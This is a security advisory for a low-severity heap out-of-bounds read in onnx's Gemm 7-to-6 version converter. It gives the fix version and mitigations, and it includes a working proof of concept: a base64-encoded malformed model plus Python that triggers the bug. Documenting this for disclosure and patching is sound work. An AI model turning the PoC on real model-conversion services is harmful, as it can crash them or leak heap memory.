CVE-2026-63632 is a low-severity (CVSS 3.3) Out-of-bounds Read vulnerability in onnx. A fix is available for onnx — see the affected versions and patch details below.
ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-63632.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-63632 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
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Description
Summary
Heap-buffer-overflow READ (16 bytes) in Gemm_7_6::adapt_gemm_7_6() (onnx/version_converter/adapters/gemm_7_6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B_shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.
Details
The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:
// gemm_7_6.h:26-42
const auto& A_shape = inputs[0]->sizes(); // May have < 2 elements
const auto& B_shape = inputs[1]->sizes(); // May have < 2 elements
if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
MN.emplace_back(B_shape[0]); // OOB if B has 0 dims
} else {
MN.emplace_back(B_shape[1]); // OOB if B has < 2 dims ← CRASH
}
The PoC has input B with shape [28] (1 dimension). B_shape has 1 element. Accessing B_shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.
The same unchecked pattern applies to A_shape[0] and A_shape[1] at lines 34 and 36.
Entry point: onnx.version_converter.convert_version(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).
PoC
import base64
import onnx
from onnx import version_converter
poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"
model = onnx.load_from_string(base64.b64decode(poc_b64))
# Triggers heap-buffer-overflow in Gemm_7_6 adapter
version_converter.convert_version(model, 6)
186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm_7_6.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at ir_pb_converter.cc:216.
Impact
Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | onnx | ≥ 1.3.0&&< 1.22.0 | 1.22.0pip install --upgrade 'onnx==1.22.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for onnx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update onnx to 1.22.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-63632 is resolved across your whole dependency graph.
Workarounds
Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
A flaw was found in the Open Neural Network Exchange (ONNX) library, which is bundled in several Red Hat OpenShift AI container images. The onnx.version_converter.convert_version() function performs an out-of-bounds read in the Gemm_7_6::adapt_gemm_7_6() adapter in onnx/version_converter/adapters/gemm_7_6.h when…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-63632 (CC BY 4.0)
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